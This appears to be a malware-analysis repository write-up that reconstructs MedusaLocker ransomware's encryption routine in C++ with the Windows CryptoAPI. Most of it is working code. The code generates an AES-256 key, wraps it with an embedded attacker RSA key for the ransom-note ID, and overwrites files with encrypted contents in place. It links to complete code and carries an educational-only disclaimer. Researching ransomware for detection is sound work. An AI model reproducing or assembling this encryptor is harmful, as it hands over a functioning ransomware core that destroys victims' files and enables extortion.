This repository contains the analysis reports, technical details or any tools created for helping in malware analysis. Additionally, the repo contains extracted TTPs with code along with the detection rules
This is the encryptor TTP extracted from MedusaLocker Ransomware. It uses a combination of AES and RSA keys for encrypting files. The ransomware first initializes the encryptor by setting encryption libraries and cryptographic context. It creates a random AES session key and encrypt it with the embedded attacker’s public key. It saves the encrypted AES key in the RansomNote first as a UNIQUE ID, and then launches the encryptor on whole system.
MedusaLocker ransomware uses Windows cryptographic libraries to encrypt files on system with AES-256 encryption algorithm. It also uses RSA public key (attacker’s key) embedded inside the malware to encrypt the AES-256 session key. To initiate the crypter, first these libraries must be imported and cryptographic context must be acquired for both AES and RSA algorithms. First we, need to generate AES key:
// Generate an AES-256 session key for encrypting files
if (!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
handleError("Failed to acquire cryptographic context");
}
if (!CryptGenKey(hCryptProv, CALG_AES_256, CRYPT_EXPORTABLE, &hKey)) {
CryptReleaseContext(hCryptProv, 0);
handleError("Failed to generate key");
}
// Get the block size for the algorithm;
DWORD dwDataLen = sizeof(DWORD);
if (!CryptGetKeyParam(hKey, KP_BLOCKLEN, (BYTE*)&blockSize, &dwDataLen, 0)) {
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
handleError("Failed to get block size");
}
Next step, that medusalocker follows is to import the embedded attacker’s public key, acquire the context for RSA encryption algorithm and use the imported public key to encrypt the AES session key:
// Generate bytes from Base64 string (attacker's public key)
std::vector<BYTE> publicKeyBytes;
DWORD publicKeySize = 0;
if (!CryptStringToBinaryA(publickey.c_str(), 0, CRYPT_STRING_BASE64, NULL, &publicKeySize, NULL, NULL)) {
CryptReleaseContext(hCryptProv, 0);
handleError("Error getting binary size");
}
publicKeyBytes.resize(publicKeySize);
if (!CryptStringToBinaryA(publickey.c_str(), 0, CRYPT_STRING_BASE64, publicKeyBytes.data(), &publicKeySize, NULL, NULL)) {
CryptReleaseContext(hCryptProv, 0);
handleError("Error converting to binary");
}
HCRYPTKEY phKey = NULL;
if (!CryptImportKey(hCryptProv, publicKeyBytes.data(), publicKeySize, 0, 0, &phKey)) {
CryptDestroyKey(phKey);
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
handleError("Error importing key");
}
//Export AES key for encrypting it with attacker's public key
//Determine the size of the buffer needed for the exported key
DWORD dwBufSizeAES = 0;
if (!CryptExportKey(hKey, NULL, PLAINTEXTKEYBLOB, NULL, NULL, &dwBufSizeAES))
{
CryptDestroyKey(phKey);
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
handleError("Error determining key buffer size");
}
// Allocate a buffer for the exported key
std::vector<BYTE> pbAesKey(dwBufSizeAES, 0);
// Export the key to the buffer
if (!CryptExportKey(hKey, NULL, PLAINTEXTKEYBLOB, NULL, pbAesKey.data(), &dwBufSizeAES))
{
CryptDestroyKey(phKey);
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
handleError("Error exporting key");
}
//Encrypt AES key with RSA public key
//Determine the size of the buffer needed for the encrypted key
DWORD dwBufSize = 0;
if (!CryptEncrypt(phKey, NULL, TRUE, 0, NULL, &dwBufSize, 0))
{
CryptDestroyKey(phKey);
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
handleError("Error determining encrypted buffer size");
}
// Allocate a buffer for the encrypted key
std::vector<BYTE> pbEncryptedKey(dwBufSize, 0);
// Encrypt the AES key with RSA-OAEP padding
memcpy(pbEncryptedKey.data(), pbAesKey.data(), dwBufSize);
if (!CryptEncrypt(phKey, NULL, TRUE, 0, pbEncryptedKey.data(), &dwBufSizeAES, dwBufSize))
{
CryptDestroyKey(phKey);
CryptDestroyKey(hKey);
CryptReleaseContext(hCryptProv, 0);
handleError("Error encrypting AES key");
}
// Now pbEncryptedKey contains the encrypted AES key
// Always destroy the keys after use
CryptDestroyKey(phKey);
To encrypt the data, medusalocker uses CryptEncrypt API. It reads plain bytes from files, encrypt the bytes and overwrites on same input file. The extension could be added later. In each directory the prepared ransome note is also placed which contains the encrypted AES key with attacker’s public key named as “Personal ID” in the ransom note.
// Open the input file
ifstream fin(inputFile, ios::binary | ios::ate);
if (!fin.is_open()) {
cerr << "Failed to open input file" << endl;
return;
}
streampos size = fin.tellg();
vector<char> data(size);
fin.seekg(0, ios::beg);
fin.read(data.data(), size);
fin.close();
// Encrypt the data
DWORD encryptedDataSize = static_cast<DWORD>(size) + (blockSize / 8);
vector<BYTE> encryptedData(encryptedDataSize);
memcpy(encryptedData.data(), data.data(), size);
DWORD dwSize = static_cast<DWORD>(size);
if (!CryptEncrypt(hKey, NULL, TRUE, 0, encryptedData.data(), &dwSize, encryptedDataSize)) {
cerr << "Failed to encrypt data" << endl;
return;
}
// Write the encrypted data to the output file
ofstream fout(inputFile, ios::binary);
if (!fout.is_open()) {
cerr << "Failed to open output file" << endl;
return;
}
if (!fout.write(reinterpret_cast<char*>(encryptedData.data()), dwSize))
{
cerr << "Failed to write encrypted file" << endl;
return;
}
fout.close();
Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries
NOTE: Artifacts and code of this repository is intended for educational purposes only !